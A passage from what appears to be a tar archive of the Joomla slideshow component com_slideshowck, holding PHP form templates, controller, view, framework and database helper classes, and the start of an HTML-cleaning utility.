			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_rotate_clockwise.png" />
			<select class="<?php echo $prefix; ?>hover" type="list" name="<?php echo $prefix; ?>hoverfxrot" id="<?php echo $prefix; ?>hoverfxrot" value="" style="width: 100px;" >
				<option value="0"><?php echo CKText::_('JNO'); ?></option>
				<option value="1"><?php echo CKText::_('JYES'); ?></option>
			</select>
			<input class="<?php echo $prefix; ?>hover" type="text" name="<?php echo $prefix; ?>hoverfxrotrad" id="<?php echo $prefix; ?>hoverfxrotrad" value="" /> °
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>activefxrot"><?php echo CKText::_('CK_ACTIVE_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_rotate_clockwise.png" />
			<select class="<?php echo $prefix; ?>active" type="list" name="<?php echo $prefix; ?>activefxrot" id="<?php echo $prefix; ?>activefxrot" value="" style="width: 100px;" >
				<option value="0"><?php echo CKText::_('JNO'); ?></option>
				<option value="1"><?php echo CKText::_('JYES'); ?></option>
			</select>
			<input class="<?php echo $prefix; ?>active" type="text" name="<?php echo $prefix; ?>activefxrotrad" id="<?php echo $prefix; ?>activefxrotrad" value="" /> °
		</div>
		<div class="ckheading"><?php echo CKText::_('CK_SCALE'); ?></div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxscale"><?php echo CKText::_('CK_NORMAL_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_handles.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>fxscale" id="<?php echo $prefix; ?>fxscale" value="" />
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>hoverfxscale"><?php echo CKText::_('CK_HOVER_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_handles.png" />
			<input class="<?php echo $prefix; ?>hover" type="text" name="<?php echo $prefix; ?>hoverfxscale" id="<?php echo $prefix; ?>hoverfxscale" value="" />
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>activefxscale"><?php echo CKText::_('CK_ACTIVE_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_handles.png" />
			<input class="<?php echo $prefix; ?>active" type="text" name="<?php echo $prefix; ?>activefxscale" id="<?php echo $prefix; ?>activefxscale" value="" />
		</div>
		<div class="ckheading"><?php echo CKText::_('CK_BLUR'); ?></div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxblur"><?php echo CKText::_('CK_NORMAL_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/wrap-behind.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>fxblur" id="<?php echo $prefix; ?>fxblur" value="" />
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>hoverfxblur"><?php echo CKText::_('CK_HOVER_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/wrap-behind.png" />
			<input class="<?php echo $prefix; ?>hover" type="text" name="<?php echo $prefix; ?>hoverfxblur" id="<?php echo $prefix; ?>hoverfxblur" value="" />
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>activefxblur"><?php echo CKText::_('CK_ACTIVE_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/wrap-behind.png" />
			<input class="<?php echo $prefix; ?>active" type="text" name="<?php echo $prefix; ?>activefxblur" id="<?php echo $prefix; ?>activefxblur" value="" />
		</div>
		<div class="ckheading"><?php echo CKText::_('CK_BRIGHTNESS'); ?></div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxbrightness"><?php echo CKText::_('CK_NORMAL_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/lightbulb.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>fxbrightness" id="<?php echo $prefix; ?>fxbrightness" value="" />
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>hoverfxbrightness"><?php echo CKText::_('CK_HOVER_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/lightbulb.png" />
			<input class="<?php echo $prefix; ?>hover" type="text" name="<?php echo $prefix; ?>hoverfxbrightness" id="<?php echo $prefix; ?>hoverfxbrightness" value="" />
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>activefxbrightness"><?php echo CKText::_('CK_ACTIVE_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/lightbulb.png" />
			<input class="<?php echo $prefix; ?>active" type="text" name="<?php echo $prefix; ?>activefxbrightness" id="<?php echo $prefix; ?>activefxbrightness" value="" />
		</div>
		<div class="ckheading"><?php echo CKText::_('CK_GRAYSCALE'); ?></div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxgrayscale"><?php echo CKText::_('CK_NORMAL_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/lightbulb_off.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>fxgrayscale" id="<?php echo $prefix; ?>fxgrayscale" value="" />
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>hoverfxgrayscale"><?php echo CKText::_('CK_HOVER_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/lightbulb_off.png" />
			<input class="<?php echo $prefix; ?>hover" type="text" name="<?php echo $prefix; ?>hoverfxgrayscale" id="<?php echo $prefix; ?>hoverfxgrayscale" value="" />
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>activefxgrayscale"><?php echo CKText::_('CK_ACTIVE_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/lightbulb_off.png" />
			<input class="<?php echo $prefix; ?>active" type="text" name="<?php echo $prefix; ?>activefxgrayscale" id="<?php echo $prefix; ?>activefxgrayscale" value="" />
		</div>
	<?php
	}
}
com_slideshowck/helpers/ckpath.php000060400000000224152455305260013347 0ustar00<?php
namespace Slideshowck;

defined('_JEXEC') or die;

jimport('joomla.filesystem.file');

class CKPath extends \Joomla\CMS\Filesystem\Path {
	
}
com_slideshowck/helpers/ckinput.php000060400000000156152455305260013556 0ustar00<?php
namespace Slideshowck;

defined('_JEXEC') or die;

class CKInput extends  \Joomla\CMS\Input\Input {
	
}
com_slideshowck/helpers/ckview.php000060400000002317152455305260013372 0ustar00<?php
Namespace Slideshowck;

defined('CK_LOADED') or die;

class CKView {

	protected $name;

	protected $model;

	protected $input;

	protected $items;

	protected $item;

	protected $state;

	protected $pagination;

	public function __construct() {
		// check if the user has the rights to access this page
		if (!CKFof::userCan('edit')) {
			CKFof::_die();
		}
		$this->input = CKFof::getInput();
	}

	public function display($tpl = 'default') {
		if ($this->model) {
			$this->state = $this->model->getState();
			$this->pagination = $this->model->getPagination();
		}

		require_once SLIDESHOWCK_PATH . '/views/' . strtolower($this->name) . '/tmpl/' . $tpl . '.php';
	}

	public function setName($name) {
		$this->name = $name;
	}

	public function setModel($model) {
		$this->model = $model;
	}

	public function get($func, $params = array()) {
		$model = $this->getModel();
		$funcName = 'get' . ucfirst($func);
		return $model->$funcName($params);
	}

	public function getModel() {
		if (empty($this->model)) {
			require_once(SLIDESHOWCK_PATH . '/models/' . strtolower($this->name) . '.php');
			$className = '\Slideshowck\CKModel' . ucfirst($this->name);
			$this->model = new $className;
		}
		return $this->model;
	}
}com_slideshowck/helpers/ckcontroller.php000060400000016555152455305260014614 0ustar00<?php
Namespace Slideshowck;

defined('CK_LOADED') or die;

// class CKController extends \Joomla\CMS\MVC\Controller\BaseController {
class CKController {

	protected $input;

	protected $model;

	protected $name;

	protected $prefix;

	protected $view;

	protected static $instance;

	protected static $views;

	function __construct() {
		$this->input = CKFof::getInput();
	}

	static function getInstance($prefix) {

		if (is_object(self::$instance))
		{
			return self::$instance;
		}
		$basePath = SLIDESHOWCK_PATH;
		// Check for a controller.task command.
		$input = CKFof::getInput();

		$cmd = $input->get('task', '', 'cmd');
		if (strpos($cmd, '.') !== false)
		{
			// Explode the controller.task command.
			list ($name, $task) = explode('.', $cmd);

			// Define the controller filename and path.
			$file = self::createFileName('controller', array('name' => $name));
			$path = $basePath . '/controllers/' . $file;
			$backuppath = $basePath . '/controller/' . $file;
			// Reset the task without the controller context.
			$input->set('task', $task);
		}
		else
		{
			// Base controller.
			$name = null;

			// Define the controller filename and path.
			$file       = self::createFileName('controller', array('name' => 'controller'));
			$path       = $basePath . '/' . $file;
		}

		// Get the controller class name.
		$class = ucfirst((string) $prefix) . 'Controller' . ucfirst((string) $name);

		// Include the class if not present.
		if (!class_exists($class))
		{
			// If the controller file path exists, include it.
			if (file_exists($path))
			{
				require_once $path;
			}
			else
			{
				throw new \InvalidArgumentException(\Joomla\CMS\Language\Text::sprintf('ERROR_INVALID_CONTROLLER', $type, $format));
			}
		}

		// Instantiate the class.
		if (!class_exists($class))
		{
			throw new \InvalidArgumentException(\Joomla\CMS\Language\Text::sprintf('ERROR_INVALID_CONTROLLER_CLASS', $class));
		}

		// Instantiate the class, store it to the static container, and return it
		return self::$instance = new $class();
	}

	protected static function createFileName($type, $parts = array())
	{
		$filename = '';

		switch ($type)
		{
			case 'controller':

				$filename = strtolower($parts['name'] . '.php');
				break;

			case 'view':

				$filename = strtolower($parts['name'] . '/view.html.php');
				break;
		}

		return $filename;
	}

	// public function getModel($base = '\Slideshowck\CKModel') {
		// if (empty($this->model)) {
			// $name = $this->getName();
			// require_once(SLIDESHOWCK_PATH . '/helpers/ckmodel.php');
			// require_once(SLIDESHOWCK_PATH . '/models/' . strtolower($name) . '.php');
			// $className = ucfirst($base) . ucfirst($name);
			// $this->model = new $className;
		// }
		// return $this->model;
	// }

	public function getView($name = '', $type = 'html', $prefix = '')
	{
		// @note We use self so we only access stuff in this class rather than in all classes.
		if (!isset(self::$views))
		{
			self::$views = array();
		}

		if (empty($name))
		{
			$name = $this->getName();
		}

		if (empty($prefix))
		{
			$prefix = $this->getPrefix() . 'View';
		}

		if (empty(self::$views[$name][$type][$prefix]))
		{
			if ($view = $this->createView($name, $prefix))
			{
				self::$views[$name][$type][$prefix] = & $view;
			}
			else
			{
				throw new \Exception(\Joomla\CMS\Language\Text::sprintf('ERROR_VIEW_NOT_FOUND', $name, $type, $prefix), 404);
			}
		}

		return self::$views[$name][$type][$prefix];
	}

	protected function createView($name, $prefix = '')
	{
		// Clean the view name
		$viewName = preg_replace('/[^A-Z0-9_]/i', '', $name);
		$classPrefix = preg_replace('/[^A-Z0-9_]/i', '', $prefix);

		// Build the view class name
		$viewClass = $classPrefix . ucfirst($viewName);

		if (!class_exists($viewClass))
		{
			$path = SLIDESHOWCK_PATH . '/views/' . $this->createFileName('view', array('name' => $viewName));

			if (!$path)
			{
				return null;
			}

			require_once $path;

			if (!class_exists($viewClass))
			{
				throw new \Exception(\Joomla\CMS\Language\Text::_('ERROR_VIEW_CLASS_NOT_FOUND : ' . $viewClass . ' - ' . $path), 500);
			}
		}

		return new $viewClass();
	}

	public function display() {
		$viewName = $this->input->get('view', $this->getName());
		$viewLayout = $this->input->get('layout', 'default', 'string');

		$view = $this->getView($viewName, 'html', '');
		$view->setName($viewName);

		// Get/Create the model
		if ($model = $this->getModel($viewName))
		{
			// Push the model into the view (as default)
			$view->setModel($model);
		}


		$view->display();

		return $this;
	}

	public function getModel($name = '', $prefix = '', $config = array())
	{
		if (empty($name))
		{
			$name = ucfirst($this->getName());
		}

		if (empty($prefix))
		{
			$prefix = ucfirst($this->getPrefix());
		}

		$model = $this->createModel($name, $prefix, $config);

		return $model;
	}

	protected function createModel($name, $prefix = '', $config = array())
	{
		// Clean the model name
		$modelName = preg_replace('/[^A-Z0-9_]/i', '', $name);
		$classPrefix = preg_replace('/[^A-Z0-9_]/i', '', $prefix);

		return CKModel::getInstance($modelName, $classPrefix, $config);
	}


	public function execute($task) {
		if (! $task) $task = 'display';
		if (is_callable(array($this, $task))) {
			return $this->$task();
		}
		else
		{
			throw new \Exception(\Joomla\CMS\Language\Text::sprintf('ERROR_TASK_NOT_FOUND', $task), 404);
		}

		return;
	}

	public function setName($name) {
		$this->name = $name;
	}

	public function getName()
	{
		if (empty($this->name))
		{
			$r = null;

			if (!preg_match('/Controller(.*)/i', get_class($this), $r))
			{
				throw new \Exception(\CKText::_('Error : Can not get controller name'), 500);
			}

			$this->name = strtolower($r[1]);
		}

		return $this->name;
	}

	public function getPrefix()
	{
		if (empty($this->prefix))
		{
			$r = null;

			if (!preg_match('/(.*)Controller/i', get_class($this), $r))
			{
				throw new \Exception(\CKText::_('Error : Can not get controller name'), 500);
			}

			$this->prefix = strtolower($r[1]);
		}

		return $this->prefix;
	}

	public function add() {
		return $this->edit(0);
	}

	public function edit($id = null, $appendUrl = '') {
		$editIds = $this->input->get('cid', $id, 'array');
		if (! empty($editIds)) {
			$editId = (int) $editIds[0];
		} else {
			$editId = (int) $this->input->get('id', $id, 'int');
		}

		// Redirect to the edit screen.
		CKFof::redirect(SLIDESHOWCK_ADMIN_URL . '&view=' . $this->getName() . '&layout=edit&id=' . $editId . $appendUrl);
	}

	public function copy() {
		$editIds = $this->input->get('cid', null, 'array');
		if (count($editIds)) {
			$id = (int) $editIds[0];
		} else {
			$id = (int) $this->input->get('id', null, 'int');
		}
		$model = $this->getModel($this->getName());

		if ($model->copy($id)) {
			CKFof::enqueueMessage('Item copied with success');
		} else {
			CKFof::enqueueMessage('Error : Item not copied', 'error');
		}

		// Redirect to the edit screen.
		CKFof::redirect(SLIDESHOWCK_ADMIN_URL);
	}

	public function delete() {
		$editIds = $this->input->get('cid', null, 'array');
		if (count($editIds)) {
			$id = (int) $editIds[0];
		} else {
			$id = (int) $this->input->get('id', null, 'int');
		}
		$model = $this->getModel($this->getName());
		if ($model->delete($id)) {
			CKFof::enqueueMessage('Item deleted with success');
		} else {
			CKFof::enqueueMessage('Error : Item not deleted', 'error');
		}

		// Redirect to the edit screen.
		CKFof::redirect(SLIDESHOWCK_ADMIN_URL);
	}
}
com_slideshowck/helpers/ckfof.php000060400000032050152455305260013167 0ustar00<?php
namespace Slideshowck;

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\PluginHelper;
use Slideshowck\CKInput;
use Slideshowck\CKText;

/**
 * CK Development Framework layer
 */
class CKFof {

	static $keepMessages = false;

	static protected $environment = 'com_slideshowck'; // for joomla only

	static protected $input;

	public static function loadHelper($name) {
		require_once(SLIDESHOWCK_PATH . '/helpers/ck' . $name . '.php');
	}

	public static function getInput() {
		if (empty(self::$input)) {
			self::$input = Factory::getApplication()->input;
		}
		return self::$input;
	}

	public static function userCan($task, $environment = false) {
		$environment = $environment ? $environment : self::$environment;
		$user = CKFof::getUser();
		switch ($task) {
			case 'edit' :
			default :
				return $user->authorise('core.edit', $environment);
			break;
			case 'create' :
				return $user->authorise('core.create', $environment);
			break;
			case 'manage' :
				return $user->authorise('core.manage', $environment);
			break;
			case 'admin' :
				return $user->authorise('core.admin', $environment);
			case 'delete' :
				return $user->authorise('core.delete', $environment);
			break;
		}
	}

	public static function getUser($id = 0) {
		if ($id) {
			return $user = Factory::getUser($id);
		}
		return $user = Factory::getUser();
	}

	public static function isAdmin() {
		return Factory::getApplication()->isClient('administrator') ;
	}

	public static function isSite() {
		return Factory::getApplication()->isClient('site') ;
	}

	public static function _die($msg = '') {
		$msg = $msg ? $msg : CKText::_('JERROR_ALERTNOAUTHOR');
		jexit($msg);
	}

	public static function getCurrentUri() {
//		$uri = \Joomla\CMS\Factory::getURI();
		$uri = \Joomla\CMS\Uri\Uri::getInstance();
		return $uri->toString();
	}

	public static function redirect($url = '', $msg = '', $type = '') {
		if (! $url) {
			$url = self::getCurrentUri();
		}
		if ($msg) {
			self::enqueueMessage($msg, $type);
		}
		Factory::getApplication()->redirect($url);
		// If the headers have been sent, then we cannot send an additional location header
		// so we will output a javascript redirect statement.
		/*if (headers_sent())
		{
			self::$keepMessages = true;
			echo "<script>document.location.href='" . str_replace("'", '&apos;', $url) . "';</script>\n";
		}
		else
		{
			self::$keepMessages = true;
			// All other browsers, use the more efficient HTTP header method
			header('HTTP/1.1 303 See other');
			header('Location: ' . $url);
			header('Content-Type: text/html; charset=UTF-8');
		}*/
	}

	/**
	 * 
	 * @param type $msg
	 * @param type $type
    'message' (ou vide) - vert
    'notice' - bleu
    'warning' - jaune
    'error' - rouge
	 */
	public static function enqueueMessage($msg, $type = 'message') {
		// add the information message
		Factory::getApplication()->enqueueMessage($msg, $type);
	}

	public static function displayMessages() {
		// manage the information messages
		// not needed in joomla
	}

	public static function getToken($name = '') {
		return \Joomla\CMS\Factory::getSession()->getFormToken() . '=1';
	}

	public static function renderToken($name = '') {
		echo \Joomla\CMS\HTML\HTMLHelper::_('form.token');
	}

	public static function checkToken($token = '') {
		if (! \Joomla\CMS\Session\Session::checkToken()) {
			$msg = CKText::_('Invalid token');
			jexit($msg);
		}
	}

	public static function checkAjaxToken($json = true) {
		// check the token for security
		if (! \Joomla\CMS\Session\Session::checkToken('get')) {
			$msg = CKText::_('JINVALID_TOKEN');
			if ($json === false) {
				jexit($msg);
			}
			echo '{"result": "0", "message": "' . $msg . '"}';
			exit;
		}
		return true;
	}

	public static function getDbo() {
		return Factory::getDbo();
	}

	public static function dbQuote($name) {
		$db = self::getDbo();
		return $db->quoteName($name);
	}

	public static function dbLoadObjectList($query, $key = '') {
		$db = self::getDbo();
		// $query = $db->getQuery(true);
		$db->setQuery($query);
		$results = $db->loadObjectList($key);

		return $results;
	}

	public static function dbLoadObject($query) {
		$db = self::getDbo();
		// $query = $db->getQuery(true);
		$db->setQuery($query);
		$results = $db->loadObject();

		return $results;
	}

	public static function dbLoadResult($query) {
		$db = self::getDbo();
		// $query = $db->getQuery(true);
		$db->setQuery($query);
		$result = $db->loadResult();

		return $result;
	}

	public static function dbExecute($query) {
		$db = self::getDbo();
		$db->setQuery($query);
		$result = $db->execute();

		return $result;
	}

	public static function dbLoadColumn($tableName, $column) {
		$db = self::getDbo();
		$query = $db->getQuery(true);
		$query->select($column);
		$query->from($tableName);

		$db->setQuery($query);
		$result = $db->loadColumn();

		return $result;
	}

	public static function dbCheckTableExists($tableName) {
		$db = self::getDbo();
		$tablesList = $db->getTableList();

		$tableName = str_replace('#__', $db->getPrefix(), $tableName);
		$tableExists = in_array($tableName, $tablesList);
		return $tableExists;
	}

	public static function dbLoadTable($tableName) {
		$db = self::getDbo();
		$tableName = self::getTableName($tableName);
		$query = "DESCRIBE  " . $tableName;
		$db->setQuery($query);
		$columns = $db->loadObjectList();

		$table = new \stdClass();
		foreach ($columns as $col) {
			$table->{$col->Field} = '';
		}

		return $table;
	}

	public static function dbLoad($tableName, $id) {
		// if no existing row, then load empty table
		if ($id == 0) return self::dbLoadTable($tableName);

		$db = self::getDbo();
		$query = "SELECT * FROM " . $tableName . " WHERE id = " . (int)$id;
		$db->setQuery($query);
		$result = $db->loadAssoc();

		if (! $result) return self::dbLoadTable($tableName);

		$result = self::convertArrayToObject($result);

		return $result;
	}

	public static function dbBindData($table, $data) {
		if (is_object($table)) $table = self::convertObjectToArray($table);
		if (is_object($data)) $data = self::convertObjectToArray($data);

		foreach ($table as $col => $val) {
			if (isset($data[$col])) $table[$col] = $data[$col];
		}

		return $table;
	}

	public static function getTableName($tableName) {
		return $tableName;
	}

	public static function getTableStructure($tableName) {
		$db = self::getDbo();
		$query = "SHOW COLUMNS FROM " . $tableName;
		$db->setQuery($query);

		return $db->loadObjectList('Field');
	}

	public static function dbStore($tableName, $data, $format = array()) {
		$db = self::getDbo();
		if (is_object($data)) $data = self::convertObjectToArray($data);

		// Create a new query object.
		$query = $db->getQuery(true);
		$columsData = self::getTableStructure($tableName);

		if ((int)$data['id'] === 0) {
			$columns = array();
			$values = array();
			$fields = self::dbLoadTable($tableName);

																			   

			foreach($fields as $key => $val) {
				$columns[] = $key;
				if (isset($data[$key]) && !empty($data[$key])) {
					$values[] = is_numeric($data[$key]) ? $data[$key] : $db->quote($data[$key]);
				} else {
					if (strpos($columsData[$key]->Type, 'int') === 0 || strpos($columsData[$key]->Type, 'tinyint') === 0) {
						$values[] = '0';
					} else if (strpos($columsData[$key]->Type, 'date') === 0) {
						$values[] = $db->quote('0000-00-00 00:00:00');
					} else {
						$values[] = $db->quote('');
					}
				}
			}

			// Prepare the insert query.
			$query
				->insert($db->quoteName($tableName))
				->columns($db->quoteName($columns))
				->values(implode(',', $values));

			// Set the query using our newly populated query object and execute it.
			$db->setQuery($query);
			if ($db->execute()) {
				$id = $db->insertid();
			} else {
				return false;
			}
		} else {
			// Fields to update.
			$fields = self::dbLoadTable($tableName);
			$fieldsToInsert = array();
			foreach($fields as $key => $val) {
				if (strpos($columsData[$key]->Type, 'date') === 0 && empty($data[$key])) {
					continue;
				}
				if (isset($data[$key])) {
					$value = is_numeric($data[$key]) ? (int)$data[$key] : $db->quote($data[$key]);
				} else {
					continue;
				}
				$fieldsToInsert[] = $db->quoteName($key) . ' = ' . $value;
			}

			// Conditions for which records should be updated.
			$conditions = array(
				$db->quoteName('id') . ' = ' . $data['id']
			);

			$query->update($db->quoteName($tableName))->set($fieldsToInsert)->where($conditions);

			// Set the query using our newly populated query object and execute it.
			$db->setQuery($query);
			if ($db->execute()) {
				$id = $data['id'];
			} else {
				return false;
			}
		}

		return $id;
	}

	public static function dbUpdate($tableName, $id, $fields) {
		// Create a new query object.
		$db = self::getDbo();
		$query = $db->getQuery(true);

		// Conditions for which records should be updated.
		$conditions = array(
			$db->quoteName('id') . ' = ' . $id
		);

		$fieldsToInsert = array();
		foreach ($fields as $key => $value) {
			$fieldsToInsert[] = $db->quoteName($key) . ' = ' . $value;
		}

		$query->update($db->quoteName($tableName))->set($fieldsToInsert)->where($conditions);

		// Set the query using our newly populated query object and execute it.
		$db->setQuery($query);
		if ($db->execute()) {
			$id = $data['id'];
		} else {
			return false;
		}
	}

	public static function dbDelete($tableName, $id) {
		$db = CKFof::getDbo();

		$query = $db->getQuery(true);

		$conditions = array(
			$db->quoteName('id') . ' = ' . (int) $id
//			, $db->quoteName('profile_key') . ' = ' . $db->quote('custom.%')
		);

		$query->delete($db->quoteName($tableName));
		$query->where($conditions);

		$db->setQuery($query);

		$result = $db->execute();

		return $result;
	}

	public static function convertObjectToArray($data) {
		return (array) $data;
	}

	public static function convertArrayToObject(array $array, $class = 'stdClass', $recursive = true)
	{
		$obj = new $class;

		foreach ($array as $k => $v)
		{
			if ($recursive && is_array($v))
			{
				$obj->$k = static::convertArrayToObject($v, $class);
			}
			else
			{
				$obj->$k = $v;
			}
		}

		return $obj;
	}

	public static function dump($anything){
			echo "<pre>";
				var_dump($anything);
			echo "</pre>";
	}

	public static function print_r($anything){
		echo "<pre>";
				print_r($anything);
			echo "</pre>";
	}

	public static function addToolbarTitle($title, $image = '') {
		\Joomla\CMS\Toolbar\ToolbarHelper::title($title, $image);
	}

	private static function getToolbar() {
		// Get the toolbar object instance
		$bar = \Joomla\CMS\Toolbar\Toolbar::getInstance('toolbar');
		return $bar;
	}

	public static function addToolbarButton($name, $html, $id) {
		$bar = self::getToolbar();
		$bar->appendButton($name, $html, $id);
	}

	public static function addToolbarPreferences() {
		$bar = self::getToolbar();
		// add the options of the component
		if (self::userCan('admin')) {
			\Joomla\CMS\Toolbar\ToolbarHelper::preferences(self::$environment);
		}
	}

	private static function getFileName($file) {
		$f = explode('/', $file);
		$fileName = end($f);
		$f = explode('.', $fileName);
		$ext = end($f);
		$fileName = str_replace('.' . $ext, '', $fileName);

		return $fileName;
	}

	public static function addScriptDeclaration($js) {
		$doc = Factory::getDocument();
		$doc->addScriptDeclaration($js);
	}

	public static function addScriptDeclarationInline($js) {
		echo '<script>' . $js . '</script>';
	}

	public static function addScript($file) {
		$doc = Factory::getDocument();
		$doc->addScript($file);
	}

	public static function addScriptInline($file) {
		echo '<script src="' . $file . '"></script>';
	}

	public static function addStyleDeclaration($css) {
		$doc = Factory::getDocument();
		$doc->addStyleDeclaration($css);
	}

	public static function addStyleDeclarationInline($css) {
		echo '<style>' . $css . '</style>';
	}

	public static function addStylesheet($file) {
		$doc = Factory::getDocument();
		$doc->addStylesheet($file);
	}

	public static function addStylesheetInline($file) {
		echo '<link href="' . $file . '"" rel="stylesheet" />';
	}

	public static function error($msg) {
		throw new \Exception($msg);
	}

	public static function triggerEvent($name, $e = array()) {
		if (version_compare(JVERSION,'4') < 1) {
			$dispatcher = \JEventDispatcher::getInstance();
			return $dispatcher->trigger($name, $e);
		} else {
			return Factory::getApplication()->triggerEvent($name, $e);
		}
	}

	public static function importPlugin($group) {
		if (version_compare(JVERSION,'4') < 1) {
			\Joomla\CMS\Plugin\PluginHelper::importPlugin($group);
		} else {
			PluginHelper::importPlugin($group);
		}
	}

	public static function cleanCache($group = '') {
		$conf = \Joomla\CMS\Factory::getConfig();

		$options = [
			'defaultgroup' => '',
			'storage'      => $conf->get('cache_handler', ''),
			'caching'      => true,
			'cachebase'    => $conf->get('cache_path', JPATH_SITE . '/cache'),
		];

		$cache = \Joomla\CMS\Cache\Cache::getInstance('callback', $options);

		foreach ($cache->getAll() as $group)
		{
			if ($group && $group->group == $group);
				$cache->clean($group->group);
		}
	}

	public static function getModel($modelName, $classPrefix = 'Slideshowck') {
			return CKModel::getInstance($modelName, $classPrefix);
	}
}
com_slideshowck/helpers/defines.js.php000060400000002250152455305260014126 0ustar00<?php
/**
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

// No direct access
defined('_JEXEC') or die;
?>
<script>
	var SLIDESHOWCK = {
		TOKEN : '<?php echo \Joomla\CMS\Factory::getSession()->getFormToken() ?>=1'
		, URIBASE : '<?php echo \Joomla\CMS\Uri\Uri::base(true) ?>'
		, URIBASEABS : '<?php echo \Joomla\CMS\Uri\Uri::base() ?>'
		, URIROOT : '<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>'
		, URIROOTABS : '<?php echo \Joomla\CMS\Uri\Uri::root() ?>'
		, HASPAGEBUILDERCK : '<?php echo (int)file_exists(JPATH_ROOT . '/administrator/components/com_pagebuilderck') ?>'
		, ADMIN_URL : '<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>/administrator/index.php?option=com_slideshowck'
		, FRONT_URL : '<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>/index.php?option=com_slideshowck'
		, BASE_URL : '<?php echo \Joomla\CMS\Uri\Uri::base(true) ?>/index.php?option=com_slideshowck'
		, USERID : '<?php echo \Joomla\CMS\Factory::getUser()->id ?>'
		, ISJ4 : '<?php echo version_compare(JVERSION, "4") ?>'
	};
</script>com_slideshowck/helpers/ckfolder.php000060400000000232152455305260013665 0ustar00<?php
namespace Slideshowck;

defined('_JEXEC') or die;

jimport('joomla.filesystem.folder');

class CKFolder extends \Joomla\CMS\Filesystem\Folder {
	
}
com_slideshowck/helpers/htmlfixer.php000060400000033773152455305260014116 0ustar00<?php
// -------------------------------------------------
// HTML FIXER v.2.05 15/07/2010
// clean dirty html and make it better, fix open tags
// bad nesting, bad quotes, bad autoclosing tags.
//
// by Giulio Pons, http://www.barattalo.it
// -------------------------------------------------
// usage:
// -------------------------------------------------
// $a = new HtmlFixer();
// $clean_html = $a->getFixedHtml($dirty_html);
// -------------------------------------------------

Class SlideshowCKHtmlFixer {
	public $dirtyhtml;
	public $fixedhtml;
	public $allowed_styles;		// inline styles array of allowed css (if empty means ALL allowed)
	private $matrix;			// array used to store nodes
	public $debug;
	private $fixedhtmlDisplayCode;

	public function __construct() {
		$this->dirtyhtml = "";
		$this->fixedhtml = "";
		$this->debug = false;
		$this->fixedhtmlDisplayCode = "";
		$this->allowed_styles = array();
	}

	public function getFixedHtml($dirtyhtml) {
		$c = 0;
		$this->dirtyhtml = $dirtyhtml;
		$this->fixedhtml = "";
		$this->fixedhtmlDisplayCode = "";
		if (is_array($this->matrix)) unset($this->matrix);
		$errorsFound=0;
		while ($c<10) {
			/*
				iterations, every time it's getting better...
			*/
			if ($c>0) $this->dirtyhtml = $this->fixedxhtml;
			$errorsFound = $this->charByCharJob();
			if (!$errorsFound) $c=10;	// if no corrections made, stops iteration
			$this->fixedxhtml=str_replace('<root>','',$this->fixedxhtml);
			$this->fixedxhtml=str_replace('</root>','',$this->fixedxhtml);
			$this->fixedxhtml = $this->removeSpacesAndBadTags($this->fixedxhtml);
			$c++;
		}
		return $this->fixedxhtml;
	}

	private function fixStrToLower($m){
		/*
			$m is a part of the tag: make the first part of attr=value lowercase
		*/
		$right = strstr($m, '=');
		$left = str_replace($right,'',$m);
		return strtolower($left).$right;
	}

	private function fixQuotes($s){
		$q = "\"";// thanks to emmanuel@evobilis.com
		if (!stristr($s,"=")) return $s;
		$out = $s;
		preg_match_all("|=(.*)|",$s,$o,PREG_PATTERN_ORDER);
		for ($i = 0; $i< count ($o[1]); $i++) {
			$t = trim ( $o[1][$i] ) ;
			$lc="";
			if ($t!="") {
				if ($t[strlen($t)-1]==">") {
					$lc= ($t[strlen($t)-2].$t[strlen($t)-1])=="/>"  ?  "/>"  :  ">" ;
					$t=substr($t,0,-1);
				}
				//missing " or ' at the beginning
				if (($t[0]!="\"")&&($t[0]!="'")) $out = str_replace( $t, "\"".$t,$out); else $q=$t[0];
				//missing " or ' at the end
				if (($t[strlen($t)-1]!="\"")&&($t[strlen($t)-1]!="'")) $out = str_replace( $t.$lc, $t.$q.$lc,$out);
			}
		}
		return $out;
	}

	private function fixTag($t){
		/* remove non standard attributes and call the fix for quoted attributes */
		$t = preg_replace (
			array(
				'/borderColor=([^ >])*/i',
